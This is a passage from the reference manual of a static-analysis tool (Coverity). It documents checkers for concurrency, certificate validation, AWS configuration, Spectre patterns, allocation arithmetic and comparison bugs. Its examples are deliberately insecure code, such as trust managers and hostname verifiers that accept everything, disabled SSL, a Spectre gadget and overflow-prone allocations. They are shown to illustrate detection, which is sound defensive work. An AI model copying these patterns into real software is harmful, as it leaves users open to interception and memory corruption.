Concurrency checker enablement: To enable `ATOMICITY` along with other concurrency checkers that are disabled by default, use the `--concurrency` option with the `cov-analyze` command.

Java:

- **Disabled by default:** `ATOMICITY` is disabled by default. To enable it, you can use the `--enable` option to the `cov-analyze` command.

4.13.2. Examples

This section provides one or more `ATOMICITY` examples.

4.13.2.1. C/C++

In the following example, the value of `x` could change between locks and therefore `v` could become out-of-date.

```
typedef struct
{
    int __m_lock;
} pthread_mutex_t;

extern "C" int pthread_mutex_lock( pthread_mutex_t* );
extern "C" int pthread_mutex_unlock( pthread_mutex_t* );

int x = 0;
int getx(){ return x++;}

void changeStructField( pthread_mutex_t * mtx)
{
    int u, v;

    pthread_mutex_lock(mtx);
```

```
v = getx();
pthread_mutex_unlock(mtx);

pthread_mutex_lock(mtx);
u = v;
pthread_mutex_unlock(mtx);
}
```

4.13.2.2. Go

In the following example, `x` is first set to `f.v` with lock and then stores its value to `f.v` later. The value of `x`, however, might be changed by other threads between two locks.

```
type foo struct {
    v int
};

func changeStructField(f * foo, mutex * sync.Mutex) {
    mutex.Lock()
    x := f.v
    mutex.Unlock()

    x++

    mutex.Lock()
    f.v = x    // #defect#ATOMICITY
    mutex.Unlock()
}
```

4.13.2.3. Java

```
public class AtomicityTest {
    private int value;

    public synchronized int get() { return value; }

    public synchronized void put(int v) { value = v; }

    public void increment() {
        int tmp = get();
        put(tmp + 1); // Defect: desired value for tmp might have changed
    }
}
```

4.13.3. Events

This section describes one or more events produced by the `ATOMICITY` checker.

- `lock` - [C/C++] A call to a locking function, which begins a critical section.
- `lock` - [Java] Acquiring the lock in the first locked context.

- `unlock` - A call to an unlocking function, which ends a critical section.
- `def` - [C/C++] A definition of a variable inside of a critical section.
`def` - [Java] Defining the variable that will be used later in a different locked context.
- `lockagain` - [C/C++] A call to a locking function, which begins another critical section.
- `lock_again` - [Java] Re-acquiring the lock marking the beginning of the second locked context.
- `non_thread_safe_use` - [Java] Using a stale value in a synchronized method. Equivalent to `(lock_again, use)`.
- `return_from_sync` - [Java] Calling a synchronized method and storing the return value. Equivalent to `(lock, def, unlock)`.
- `unlock` - [Java] Releasing the lock marking the end of the first locked context.
- `use` - [C/C++] Use of a variable outside of the critical section that contains the variable definition.
`use` - [Java] Using the stale value of the variable in the second locked context.

4.14. ATTRIBUTE_NAME_CONFLICT

Quality, Security (Java) Checker

4.14.1. Overview

Supported Languages: Java

`ATTRIBUTE_NAME_CONFLICT` reports attributes that have been incorrectly repeated in a single JSP tag. This syntax is invalid but it is tolerated by some servlet containers and JSP compilers. The behavior of the rendered document is undefined. The impact of the error depends on the particular tag and attribute, whether its evaluation has side effects and how the values conflict. Some tags use attributes to control security-related behavior, for example, output escaping.

Web application security checker enablement: To enable `ATTRIBUTE_NAME_CONFLICT` along with other Web application checkers, use the `--webapp-security` option.

Disabled by default: `ATTRIBUTE_NAME_CONFLICT` is disabled by default. To enable it, you can use the `--enable` option to the `cov-analyze` command.

4.14.2. Defect Anatomy

The main event of an `ATTRIBUTE_NAME_CONFLICT` defect is presented at a problematic element or tag. It names the attribute that has been duplicated.

4.14.3. Examples

This section provides one or more `ATTRIBUTE_NAME_CONFLICT` examples.

4.14.3.1. Java

A simple example with security implications:

```
<c:out escapeXml="true" value = "${bean.property.x.value}" escapeXml="false"/>
```

Conflicting attributes in complex tags may be harder to spot:

```
<ui:chart name="quarterlyReport" borderColor="#000000" border="2"
  minWidth="100" minHeight="100" defaultWidth="150" defaultHeight="150"
  bgColor="#000000" pad="5" border="1">
  <ui:chartData data="this_quarter" />
  <ui:chartData data="last_quarter" />
</ui:chart>
```

4.15. AUDIT.SPECULATIVE_EXECUTION_DATA_LEAK

Security Checker

4.15.1. Overview

Supported Languages: C, C++, Objective C, and Objective C++

`AUDIT.SPECULATIVE_EXECUTION_DATA_LEAK` finds code patterns that might cause a sensitive process (such as a kernel or virtual machine) to be vulnerable to the "Spectre" attack. The code patterns that this checker finds might allow an attacker to read the process memory.

The checker looks for cases where a value *V* is compared against another value; an attacker could use *V* as an index to access some memory. The result from accessing that memory could then be used to access even more memory. Specifically, the checker looks for cases where a value *V* is checked to be within bounds. The check could take the form of an equality check, an inequality check, or a check for the return value of a function call.

If value *V* can be controlled by an attacker, the attacker can use it to expose data because the comparison might be speculatively ignored by the CPU when a cache miss prevents immediately evaluating the comparison. This means the attacker can potentially access any value *W* in the process address space. When that *W* is then used to access more memory, its effect on the CPU cache might then be used to retrieve information about *W*.

`AUDIT.SPECULATIVE_EXECUTION_DATA_LEAK` is disabled by default. To enable use `-en AUDIT.SPECULATIVE_EXECUTION_DATA_LEAK`.

4.15.2. Examples

This section provides one or more `AUDIT.SPECULATIVE_EXECUTION_DATA_LEAK` examples.

4.15.2.1. C/C++ and Objective C/C++

In the following example `index` is the `V` that is being compared to `array_size`; `arr2[index]` is the `W` mentioned in the Overview above.

```
if(index < array_size) {
    int i = arr1[arr2[index]];
}
```

To suppress this defect and prevent speculative execution, insert a barrier instruction after the comparison and before the memory access; for example:

```
if(index < array_size) {
    _mm_lfence();
    int i = arr1[arr2[index]];
}
```

For additional discussion of this example, see <https://spectreattack.com/spectre.pdf>.

4.15.3. Options

This section describes one or more `AUDIT.SPECULATIVE_EXECUTION_DATA_LEAK` options.

You can set specific checker option values by passing them with `--checker-option` to the `coverity-analyze` command. For details, refer to the *Coverity Command Reference*.

- `AUDIT.SPECULATIVE_EXECUTION_DATA_LEAK:eq_compare_to_any:<bool>` - If true, the checker assumes that the comparison can be any kind of equality comparison. In the example above, `index < array_size` could be `index == array_size - 1`. Defaults to `AUDIT.SPECULATIVE_EXECUTION_DATA_LEAK:eq_compare_to_any:false`
- `AUDIT.SPECULATIVE_EXECUTION_DATA_LEAK:max_sensitive_read_size:<int>` - The maximum number of bytes that can be read into a value using a speculative overrun such that, if a memory access is done using that value, the value can be guessed using side channel attacks. In the example pattern, this corresponds to the size of `arr2[index]`. Defaults to `AUDIT.SPECULATIVE_EXECUTION_DATA_LEAK:max_sensitive_read_size:"2"`.
- `AUDIT.SPECULATIVE_EXECUTION_DATA_LEAK:report_all_nested_mem_accesses:<bool>` - If true, the checker does not look for a comparison on the memory access `index` and reports on all nested memory accesses. In the example above, it would report on all `arr1[arr2[index]]`. Note that turning this option on results in a very large number of defects being reported. Defaults to `AUDIT.SPECULATIVE_EXECUTION_DATA_LEAK:report_all_nested_mem_accesses:false`.
- `AUDIT.SPECULATIVE_EXECUTION_DATA_LEAK:speculative_uninitialized_use:<bool>` - If true, the checker will report defects if the `index` used in a nested memory access is only initialized inter-procedurally. Depending on the code produced by the compiler, a speculative store bypass might occur. This would allow the memory access to occur before the initialization, resulting in the use of an uninitialized value as the load address. This could enable an attacker to read sensitive information. Defaults to `AUDIT.SPECULATIVE_EXECUTION_DATA_LEAK:speculative_uninitialized_use:false`.

- `AUDIT.SPECULATIVE_EXECUTION_DATA_LEAK:uncached_constants:<bool>` - If true, the checker assumes that there cannot be a cache miss when fetching constant values; in the example pattern we do not consider cases where `array_size` is a constant. Defaults to `AUDIT.SPECULATIVE_EXECUTION_DATA_LEAK:uncached_constants:"true"`.

4.16. AWS_SSL_DISABLED

4.16.1. Overview

Supported Languages: JavaScript, TypeScript

The `AWS_SSL_DISABLED` checker finds cases where the `sslEnabled` property is set to `false` in an `AWS` configuration. This might lead to transmitting sensitive data over an insecure communication channel that could be read and modified by attackers.

The `AWS_SSL_DISABLED` checker is disabled by default. To enable it, use the `--webapp-security` option of the `cov-analyze` command.

4.16.2. Examples

This section provides one or more `AWS_SSL_DISABLED` examples.

In the following example, an `AWS_SSL_DISABLED` defect is displayed for the `sslEnabled` property set to `false` in the first parameter of the method `AWS.Config()`:

```
var AWS = require('aws-sdk');

var config = new AWS.Config({
  accessKeyId: 'AKID',
  secretAccessKey: 'SECRET',
  region: 'us-west-2',
  sslEnabled: false //AWS_SSL_DISABLED defect
});
```

4.17. AWS_VALIDATION_DISABLED

4.17.1. Overview

Supported Languages: JavaScript, TypeScript

The `AWS_VALIDATION_DISABLED` checker finds cases where the `aws-sdk` middleware disables parameter or credential validation globally. Such validation might allow an attacker to spoof a trusted entity and lead to parts of the system receiving unintended input, resulting in altered control flow, arbitrary control of a resource, or arbitrary code execution.

The `AWS_VALIDATION_DISABLED` checker is disabled by default. You can enable it using the `-webapp-security` option to the `cov-analyze` command.

4.17.2. Examples

This section provides one or more `AWS_VALIDATION_DISABLED` examples.

In the following example, an `AWS_VALIDATION_DISABLED` defect is displayed where the `aws-sdk` middleware disables parameter validation globally by removing the `VALIDATE_PARAMETERS` listener:

```
var AWS = require('aws-sdk');
var uuid = require('node-uuid');

AWS.EventListeners.Core.removeListener('validate',
  AWS.EventListeners.Core.VALIDATE_PARAMETERS);
```

4.18. BAD_ALLOC_ARITHMETIC

Quality Checker

4.18.1. Overview

Supported Languages: C, C++, Objective-C, Objective-C++

`BAD_ALLOC_ARITHMETIC` finds many calls to allocation routines with errant placement of the parenthesis when using `-` or `+` operators. It searches for `malloc(x)+y` or `malloc(x)-y` where it appears that the user intended to call `malloc(x+y)` or `malloc(x-y)`. These errors cause under-allocation or over-allocation, and unintended pointer arithmetic, which result in memory corruption or a potential security vulnerability when attempting to copy data into the resultant buffer.

Enabled by default: `BAD_ALLOC_ARITHMETIC` is enabled by default. For enablement/disablement details and options, see Section 1.2, “Enabling and Disabling Checkers”.

4.18.2. Examples

This section provides one or more `BAD_ALLOC_ARITHMETIC` examples.

In the following example, `char *p` and `char *p2` both contain allocation errors:

```
typedef unsigned long size_t;
extern "C" void * malloc( size_t size);
extern "C" int free(void *);

void badAllocArithmetic(int a, int b, char **p1, char **p2)
{
  *p1 = (char *)malloc(a)+b;    //#defect#BAD_ALLOC_ARITHMETIC
  *p2 = (char *)malloc(a)-b;    //#defect#BAD_ALLOC_ARITHMETIC
  ;
}
```

4.18.3. Events

This section describes one or more events produced by the `BAD_ALLOC_ARITHMETIC` checker.

- `bad_alloc_arithmetic` - Possible under-allocation by calling `foo_alloc` within operand of `+` operator.
- `bad_alloc_arithmetic` - Possible over-allocation by calling `foo_alloc` within operand of `-` operator.

4.19. BAD_ALLOC_STRLLEN

Quality Checker

4.19.1. Overview

Supported Languages: C, C++, Objective-C, Objective-C++

`BAD_ALLOC_STRLLEN` reports defects when it finds `strlen(p+1)` used as the `size` argument of an allocation site. Assuming that the developer intended `strlen(p)+1` to indicate the length of `p` plus an extra byte for a null terminator, `strlen(p+1)` is undefined when `p` is zero length and `strlen(p)-1` otherwise. The result is a potential buffer overrun on the result of allocation, undefined behavior when `p` is zero length, or both. This defect almost always results in a buffer overflow when data is copied to the new buffer.

Enabled by default: `BAD_ALLOC_STRLLEN` is enabled by default. For enablement/disablement details and options, see Section 1.2, “Enabling and Disabling Checkers”.

4.19.2. Examples

This section provides one or more `BAD_ALLOC_STRLLEN` examples.

```
char *clone_name(char *name) {
    char *new_name = NULL;
    if (name) {
        new_name = (char*)malloc(strlen(name+1)); //bad_alloc_strlen
        strcpy(new_name, name);
    }
    return new_name;
}
```

4.19.3. Options

This section describes one or more `BAD_ALLOC_STRLLEN` options.

You can set specific checker option values by passing them with `--checker-option` to the **coverity-analyze** command. For details, refer to the *Coverity Command Reference*.

- `BAD_ALLOC_STRLLEN:report_plus_any:<boolean>` - When this option is set to `true`, the checker will report defects on a buffer allocation that uses the length of a string plus any integer. It reports `strlen(p+C)` for any constant `C`, not just 1. By default, it reports a defect only when the length of a string plus one is used. Defaults to `BAD_ALLOC_STRLLEN:report_plus_any:false`

This checker option is automatically set to `true` if the `--aggressiveness-level` option of the `cov-analyze` command is set to `medium` (or to `high`).

4.19.4. Events

This section describes one or more events produced by the `BAD_ALLOC_STRLEN` checker.

- `bad_alloc_strlen` - An incorrectly allocated buffer.

4.20. BAD_CERT_VERIFICATION

Security Checker

4.20.1. Overview

Supported Languages: Java, JavaScript, Kotlin, Ruby, Swift, TypeScript

`BAD_CERT_VERIFICATION` looks for instances of incomplete or improper validation of security certificates (CWE 295 and CWE 296). Improper checking of certificates can make the system vulnerable to "man-in-the-middle" attacks, which enable an attacker to eavesdrop or interfere with the traffic in the session.

Digital security certificates use public key cryptography to enable secure communications between two parties. Security certificates are issued by trusted certificate authorities (CAs). A certificate chain is a list of certificates that begins with a target certificate (the one you want to verify) and ends with a trust anchor. Each certificate in the chain vouches for the previous one.

Enablement for Java

Disabled by default: `BAD_CERT_VERIFICATION` is disabled by default. To enable it, you can use the `--enable` option to the `cov-analyze` command.

Enablement for JavaScript, and TypeScript

Disabled by default: `BAD_CERT_VERIFICATION` is disabled by default. To enable it, you can use the `--webapp-security` option to the `cov-analyze` command.

Web application security checker enablement: To enable `BAD_CERT_VERIFICATION` along with other Web application checkers, use the `--webapp-security` option.

Android security checker enablement: To enable `BAD_CERT_VERIFICATION` along with other Java Android security checkers, use the `--android-security` option with the `cov-analyze` command.

Enablement for Kotlin, Ruby, and Swift

Enabled by default: `BAD_CERT_VERIFICATION` is enabled by default. For enablement/disablement details and options, see Section 1.2, "Enabling and Disabling Checkers".

4.20.1.1. JavaScript and TypeScript

A `BAD_CERT_VERIFICATION` defect for JavaScript or TypeScript is reported when the `rejectUnauthorized` property is disabled in the configuration of `tls`, `https`, `restify`, `request`, `ws`, or `socket.io-client` middleware, or when the `checkServerIdentity` property in the `connect()` function of the `tls` middleware does not verify whether the hostname matches the certificate.

If the function set to the property `checkServerIdentity` is an empty function, a function that does not return, or returns `undefined` without throwing an error when the certificate is incorrect, it does not validate whether the hostname matches the hostname used in the certificate. This might allow an attacker to spoof a trusted entity by using a man-in-the-middle attack.

4.20.2. Defect Anatomy

A `BAD_CERT_VERIFICATION` defect consists of an insecure use of Java/Android SSL libraries. The exact structure of the defect depends on the specific API used. For the `X509TrustManager`, the checker reports a defect for an implementation that can accept arbitrary certificate chains. The `X509TrustManager` `checkServerTrusted` and `checkClientTrusted` methods throw `Certificate` exceptions to indicate that a certificate chain is invalid. Coverity reports a defect in one of these methods if there is an execution path through the method such that:

- No exception can escape the method (for example, a `catch` statement not followed by a `throw`).
- The certificate chain is not examined.

The `HostnameVerifier.verify` method returns a Boolean indicating whether the host name verification was successful. The checker will report a defect if there is an implementation of this method such that:

- It returns the Boolean constant `true` on all paths.
- There is a path that returns `true`, but either the host name or the session is not examined.

The checker will also report a defect if there is a call to `org.apache.http.conn.ssl.SSLSocketFactory.setHostnameVerifier` where the argument is `SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER`. Finally, the checker will report a defect if the user is disabling the check for certificate revocation by calling `PKIXParameters.setRevocationEnabled(false)`.

A `BAD_CERT_VERIFICATION` defect for Swift reflects the insecure use of the Multipeer Connectivity or CoreFoundation Frameworks. The structure of the defect depends on the specific API used.

- **For Multipeer Connectivity Framework**, Coverity reports a defect when a `MCSessionDelegate` `session(_: MCSession, didReceiveCertificate: [Any]?, fromPeer: MCPeerID, certificateHandler: @escaping (Bool) -> Void)` is defined with the `certificateHandler` parameter set to `true` on all paths.
- **For CoreFoundation Framework**, Coverity reports a defect when the following conditions exist:

- The `kCFStreamPropertySSLSetting` dictionary contains the key `kCFStreamSSLValidatesCertificateChain` equal to `true`.
- The `kCFStreamPropertySSLSetting` dictionary contains the key `kCFStreamSSLIsServer` equal to `false` or not specified.
- The `kCFStreamPropertySSLSetting` dictionary contains the key `kCFStreamPropertySSLPeerTrust` is not specified.

A `BAD_CERT_VERIFICATION` defect for Ruby is reported when certification verification is disabled in code using the standard library or various gems for HTTP communication.

4.20.3. Examples

This section provides one or more `BAD_CERT_VERIFICATION` examples.

4.20.3.1. Java

Consider the following implementation of an `X509TrustManager` interface:

```
TrustManager tm = new X509TrustManager() {
    @Override
    public X509Certificate[] getAcceptedIssuers() {
        return null;
    }
    @Override
    public void checkServerTrusted(X509Certificate[] chain, String authType)
        throws CertificateException {} // Defect here.
    @Override
    public void checkClientTrusted(X509Certificate[] chain, String authType)
        throws CertificateException {} // Defect here.
};
```

Because the implementation of the `checkServerTrusted` and `checkClientTrusted` never throws a `CertificateException`, this trust manager will accept any certificate. This leaves the user vulnerable to a "man-in-the-middle" attack.

Ensuring that a server provides a valid certificate chain is not enough to ensure that the connection is secure. You also need to check that the certificate is actually associated with the correct host. Consider another example of insecure certificate verification:

```
HostnameVerifier hv1 = new HostnameVerifier() {
    @Override
    public boolean verify(String hostname, // Defect here.
        SSLSession session) {
        return true;
    }
};
```

The implementation of the `HostnameVerifier.verify` method always returns true and accepts all hosts. This will allow a connection to any server that provides a valid certificate, making the user vulnerable to a redirection or spoofing attack.

Finally, consider the following code, which disables checking for revoked certificates:

```
PKIXParameters param = new PKIXParameters(new HashSet<TrustAnchor>());
param.setRevocationEnabled(false); // Defect here.
```

For Android applications, the `BAD_CERT_VERIFICATION` checker flags cases where `android.webkit.SslErrorHandler.proceed()` is blindly called inside an `android.webkit.WebViewClient.onReceivedSslError()` callback, which means that the connection will always proceed with a failed SSL validation.

In the following example, a `BAD_CERT_VERIFICATION` defect is displayed for the `proceed()` function as this function allows loading content from an insecure server:

```
import android.net.http.SslError;
import android.webkit.SslErrorHandler;
import android.webkit.WebResourceRequest;
import android.webkit.WebView;
import android.webkit.WebViewClient;
class defect1 extends WebViewClient
{
    @Override
    public void onReceivedSslError(WebView view, final SslErrorHandler handler,
        SslError error) {
        handler.proceed(); // defect here
    }
}
```

4.20.3.2. JavaScript, TypeScript

In the following example, a `BAD_CERT_VERIFICATION` defect is displayed for the `checkServerIdentity` property in the `connect()` function of the `tls` middleware as this function returns `undefined` and does not validate the hostname specified in the certificate.

Another `BAD_CERT_VERIFICATION` defect is displayed for the `rejectUnauthorized` property set to `false` in the `request()` function of the `https` middleware, because it does not reject invalid certificates:

```
var tls = require('tls');
var https = require('https');

var socket1 = tls.connect({
  port: 1337,
  host: 'https://example1.com',
  rejectUnauthorized: true,
  checkServerIdentity: function(servername, peer) {
    const good = '77:53:28:AD:42:B1:04:F7:49:2B:C7:C7:7B:2A:84:64:EA:0B:1F:CE';
    const bad = 'mismatch';
```

```

        console.log('Woohoo, www.google.com is using our pinned fingerprint');
        return undefined;
    }}, () => {
        console.log('client connected');
    });

socket1.on('error', (data)=> {
    console.log(data);
});

var req = https.request({port: 1336, host: 'https://example2.com', rejectUnauthorized:
    false}, function(){
    console.log('client connected');
});

```

4.20.3.3. Kotlin

Consider the following faulty implementation of an `X509TrustManager` interface.

```

TrustManager tm = object : X509TrustManager {
    override fun getAcceptedIssuers(): Array<X509Certificate>? = arrayOf()
    override fun checkServerTrusted(certificates: Array<X509Certificate>?, authType:
String?) = Unit
    override fun checkClientTrusted(certificates: Array<X509Certificate>?, authType:
String?) = Unit
};

```

This trust manager will accept any certificate and leaves the user vulnerable to a man-in-the-middle attack.

The following example shows an insecure certificate verification:

```

HostnameVerifier { _, _ -> true } //Defect here

```

The lambda constitutes the implementation of the `HostnameVerifier.verify` method and accepts all hosts. This will allow a connection to any server that provides a valid certificate, making the user vulnerable to a redirection or spoofing attack.

Finally, consider the following code, which disables checking for revoked certificates:

```

val param = PKIXParameters(setOf())
    param.isRevocationEnabled = false // Defect here.

```

4.20.3.4. Ruby

The following Ruby-on-Rails code demonstrates disabled SSL certificate verification when configuring a `Net::HTTP` connection.

```

require "net/http"

```

```
Net::HTTP.start("example.com", 8080, :use_ssl => true, :verify_mode =>
  OpenSSL::SSL::VERIFY_NONE)
```

4.20.3.5. Swift

The following example shows a possible defect in Swift.

```
import MultipeerConnectivity

class TestDoesNothingTrue : NSObject, MCSessionDelegate {
    func session(_ session: MCSession, peer peerID: MCPeerID, didChange state:
    MCSessionState) { }
    func session(_ session: MCSession, didReceive data: Data, fromPeer peerID:
    MCPeerID) { }
    func session(_ session: MCSession, didReceive stream: InputStream, withName
    streamName: String, fromPeer peerID: MCPeerID) { }
    func session(_ session: MCSession, didStartReceivingResourceWithName resourceName:
    String, fromPeer peerID: MCPeerID, with progress: Progress) { }
    func session(_ session: MCSession, didFinishReceivingResourceWithName
    resourceName: String, fromPeer peerID: MCPeerID, at localURL: URL, withError error:
    Error?) { }
    func session(_ session: MCSession, didReceiveCertificate certificate: [Any]?,
    fromPeer peerID: MCPeerID, certificateHandler: @escaping (Bool) -> Void) {
        certificateHandler(true)    // Defect Here
    }
}
```

4.20.4. Options

This section describes one or more `BAD_CERT_VERIFICATION` options.

You can set specific checker option values by passing them with `--checker-option` to the **coverity-analyze** command. For details, refer to the *Coverity Command Reference*.

- `BAD_CERT_VERIFICATION:check_ssl_session:<boolean>` - [Java and Kotlin only] This option determines whether to report a defect for `SSLSockets` used for communication before their hostname has been verified. Some APIs that create `SSLSessions` do not automatically perform hostname verification. When using these APIs, it is up to the programmer to check the hostname explicitly before using the `SSLSocket`. Defaults to `BAD_CERT_VERIFICATION:check_ssl_session:true`.

4.21. BAD_CHECK_OF_WAIT_COND

Quality Checker

4.21.1. Overview

Supported Languages: Java

`BAD_CHECK_OF_WAIT_COND` finds many cases where a thread calls `wait()` on a mutex without properly checking a wait condition. In Java, the `wait()` call is not provided the waiter's desired

condition, so the programmer needs to ensure that the wait condition is false before waiting, and true after waiting. This check needs to take place before waiting inside of the locked region. Otherwise, the wait condition might become true between the check and the wait, causing the program to wait unnecessarily. In addition, the Java language is susceptible to "spurious wakeups," where a `wait()` successfully returns before it receives notification that the wait condition has been satisfied with a call to `notify()` or `notifyAll()`. Thus, it is also necessary to check the status of the wait condition inside a loop, which allows the thread to wait again if a spurious wakeup occurred. This checker finds situations where such checks are done inappropriately.

Enabled by default: `BAD_CHECK_OF_WAIT_COND` is enabled by default. For enablement/disablement details and options, see Section 1.2, "Enabling and Disabling Checkers".

4.21.2. Examples

This section provides one or more `BAD_CHECK_OF_WAIT_COND` examples.

```
class BCWCExamples {
    public Object lock;

    boolean someCondition;

    public void NoChecking() throws InterruptedException {
        synchronized(lock) {
            //Defect due to not checking a wait condition at all
            lock.wait();
        }
    }

    public void IfCheck() throws InterruptedException {
        synchronized(lock) {
            // Defect due to not checking the wait condition with a loop.
            // If the wait is woken up by a spurious wakeup, we may continue
            // without someCondition becoming true.
            if(!someCondition) {
                lock.wait();
            }
        }
    }

    public void OutsideLockLoop() throws InterruptedException {
        // Defect. It is possible for someCondition to become true after
        // the check but before acquiring the lock. This would cause this thread
        // to wait unnecessarily, potentially for quite a long time.
        while(!someCondition) {
            synchronized(lock) {
                lock.wait();
            }
        }
    }

    public void Correct() throws InterruptedException {
        // Correct checking of the wait condition. The condition is checked
```

```
// before waiting inside the locked region, and is rechecked after wait
// returns.
synchronized(lock) {
    while(!someCondition) {
        lock.wait();
    }
}
}
```

4.21.3. Events

This section describes one or more events produced by the `BAD_CHECK_OF_WAIT_COND` checker.

- `add_loop_check_inside_lock` - Remediation advice: Directs the user to consider checking the wait condition as a loop condition inside the locked region.
- `do_while_insufficient` - Applies to a `do-while` inside the locked region containing the call to `wait`: Informs the user that a `do-while` does not suffice as a check on the wait condition because it only checks the condition after its first iteration.
- `if_insufficient` - Informs the user that the code is susceptible to spurious wakeups because an `if` statement checked the wait condition inside the locked region.
- `loop_outside_lock_insufficient` - Informs the user that a loop containing the wait condition outside of the locked region does not ensure that the condition will have the same value when control enters the locked region.
- `wait_cond_improperly_checked` - Main event: Identifies the wait whose condition is improperly checked.

4.22. BAD_COMPARE

Quality, Security Checker

4.22.1. Overview

Supported Languages: C, C++, Objective-C, Objective-C++

`BAD_COMPARE` finds many cases in which a comparison operator or function is misused. For example, it can find cases where a function is implicitly converted to its address and then compared with 0. Because function addresses are never 0, such comparisons always have a fixed result, which is usually not what the programmer intended.

Enabled by default: `BAD_COMPARE` is enabled by default. For enablement/disablement details and options, see Section 1.2, “Enabling and Disabling Checkers”.

4.22.2. Examples

This section provides one or more `BAD_COMPARE` examples.

The following example produces a defect because of confusing logical negation operator precedence.

```
void bug1(int x, int y) {
    if (!x == y) { /* ... */ } /* event reported here */
}
```

4.22.3. Events

This section describes one or more events produced by the `BAD_COMPARE` checker.

- `comparator_misuse` - The return value of a `memcmp`-style function was misused, for example:

```
void bug1(const char *s) {
    if (strcmp(s, "blah") == 1) { /* ... */ }
}

void nobug1(const char *s) {
    if (strcmp(s, "blah") > 0) { /* ... */ }
}
```

- `func_conv` - A comparison of a function address to 0 occurred, for example:

```
void do_something(char const *s) {
    if (strlen == 0) { /* not a function call */
        /* handle empty string */
    }
    /* ... */
}
```

Note that the checker does not flag the comparison of function *pointers* to 0; it just flags comparisons of function addresses. If the comparison of a function's address to 0 is needed for some reason, you can change the comparison to hide the constant value from the checker:

```
void do_something(char const *s) {
    int (*null_fp)(char const *) = 0;
    if (strlen == null_fp) { /* checker allows this */
        /* never executed... */
    }
    /* ... */
}
```

Note that the `NO_EFFECT` checker reports implicit comparisons to 0, such as when casting a string literal to a boolean, so such reports are not duplicated by `BAD_COMPARE`.

- `null_misuse` - An inequality comparison to `NULL` occurred, for example:

```
void bug2(int *x) {
    if (x >= NULL) { /* ... */ }
}
```

```
void nobug2(int *x) {
    if (*x >= NULL) { /* ... */ }
}
```

- `string_lit_comparison` - A comparison of a pointer to a string literal occurred, for example:

```
void do_something(const char *other) {
    if(other == "expected") { /* event reported here */
        /* do something */
    }
}
```

Though comparison of the *value* of the literal to the other operand generates a compiler error, comparison of the *address* of the literal to the other operand might work when using some compiler configurations.

4.23. BAD_EQ

Quality Checker

4.23.1. Overview

Supported Languages: C#

`BAD_EQ` is a statistical checker that determines whether two objects of a given type should be compared with structural equality, such as using the `Equals` method, or referential equality, such as using the non-overloaded `==` operator. Incorrect comparisons can lead to hard-to-diagnose errors and incorrect behavior.

In most cases, objects in C# should be compared using structural equality by calling the `Equals` method. However, for efficiency reasons, it is sometimes useful to construct objects in such a way that referential equality implies structural equality (for example, by using object pools or hash consing). `BAD_EQ` makes the assumption that an object's type is sufficient to determine whether referential or structural equality should be used to compare objects.

Statistics are gathered per dynamic type. That is, a call to `x.Equals(y)` is counted as a structural equality check for the dynamic type of `x`. Hence, there is some asymmetry in the case where the dynamic type of `y` is not the same as `x`, but the effect of the asymmetry is minimal.

The following methods and operators test for referential or structural equality:

- Structural equality if `x` has an overridden `Object.Equals(y)` method, otherwise referential equality:

`x.Equals(y)` and `Object.Equals(x,y)`

- Structural equality if `x` has an overridden `==/!=` operator, otherwise, referential equality:

Operator `==(x,y)` and operator `!=(x,y)`

The checker ignores tests for referential and structural equality in the following cases:

- When the check is inside one of the methods shown in the examples above.
- When the check is inside an equivalence method that contains a comparison against this.
- When the check is against NULL.
- When the check is with `Object.ReferenceEquals(x,y)`.

4.23.2. Examples

This section provides one or more `BAD_EQ` examples.

```
class ValueCompare
{
    public override bool Equals(object o)
    {
        return base.Equals(o);
    }

    static void usuallyValueCompared(ValueCompare v1, ValueCompare v2)
    {
        if(v1.Equals(v2)) return;
        if(v1.Equals(v2)) return;
        if(v1.Equals(v2)) return;
        if(v1.Equals(v2)) return;
        if(v1.Equals(v2)) return;
    }

    static void bug(ValueCompare v1, ValueCompare v2)
    {
        if(v1 == v2) { // Error: This should be using v1.Equals(v2) instead.
            return;
        }
    }
}
```

4.23.3. Options

This section describes one or more `BAD_EQ` options.

You can set specific checker option values by passing them with `--checker-option` to the **cov-analyze** command. For details, refer to the *Coverity Command Reference*.

- `BAD_EQ:stat_threshold:<a_percentage>` - option that reports referential equality comparisons as defects when the specified threshold of *structural* equality comparisons (a percentage of all equality comparisons) is met or exceeded. For example, `-co BAD_EQ:stat_threshold:50` will cause the checker to report a defect on all referential equality comparisons if 50% of the comparisons are structural. Defaults to `BAD_EQ:stat_threshold:80`

`BAD_EQ:stat_threshold` is automatically set to 70 when `cov-analyze --aggressiveness-level` is medium or high.

- `BAD_EQ:stat_bias:<floating_point_number>` - option that specifies a floating point number `N` that is used by the checker to report a defect when $(S + N) / (S + R) \leq T$. Here, `S` = number of structural comparisons, `R` = number of referential comparisons, and `T` = value of the `stat_threshold` option value. Defaults to `BAD_EQ:stat_bias:0.25`

`BAD_EQ:stat_bias` is automatically set to `0.5` when `cov-analyze --aggressiveness-level high`.

4.23.4. Events

This section describes one or more events produced by the `BAD_EQ` checker.

- `use_value_equality` - A structural equality check that is in the minority. Each defect can also include up to five examples of the majority equality check with event name `struct_eq_use` where the referential equality check was used in the code.
- `value_equality_use` - A referential equality check that is in the minority. Each defect can also include up to five examples of the majority equality check with event name `ref_eq_use` where the structural equality check was used in the code.

4.24. BAD_EQ_TYPES

Quality Checker

4.24.1. Overview

Supported Languages: C#

`BAD_EQ_TYPES` finds equality checks on object references of incompatible types. This is rarely intended because it is unusual to treat objects of different types as equal. The checker does not report an error when the comparison is part of an assertion.

The C# compiler even rejects code that compares two incompatible object references using the built-in `==` operator. This checker extends that behavior by checking the following types of comparisons:

- `x.Equals(y)`
- `Object.ReferenceEquals(x,y)`

4.24.2. Examples

This section provides one or more `BAD_EQ_TYPES` examples.

```
// (c) 2013 Coverity, Inc. All rights reserved worldwide.
class B {
    public override bool Equals(object obj) {
        return base.Equals(obj);
    }
}
```

```
    }  
}  
  
class C {  
    static void test(B x, C y) {  
        // Defect: The following call always returns false  
        //           because B and C are of unrelated types.  
        x.Equals(y);  
    }  
}
```

4.25. BAD_FREE

Quality Checker

4.25.1. Overview

Supported Languages: C, C++, Objective-C, Objective-C++

BAD_FREE finds many cases where a pointer is freed but not dynamically allocated. Freeing a pointer that does not point to dynamically allocated memory has undefined behavior. The typical effect is to corrupt memory, which later causes the program to crash.

Enabled by default: **BAD_FREE** is enabled by default. For enablement/disablement details and options, see Section 1.2, “Enabling and Disabling Checkers”.

4.25.2. Examples

This section provides one or more **BAD_FREE** examples.

Freeing an array type:

```
struct S { int a[4]; };  
void fn(struct S *s) {  
    int stackarray[3];  
    int *p = stackarray; // array_assign  
    free(p);             // incorrect_free  
  
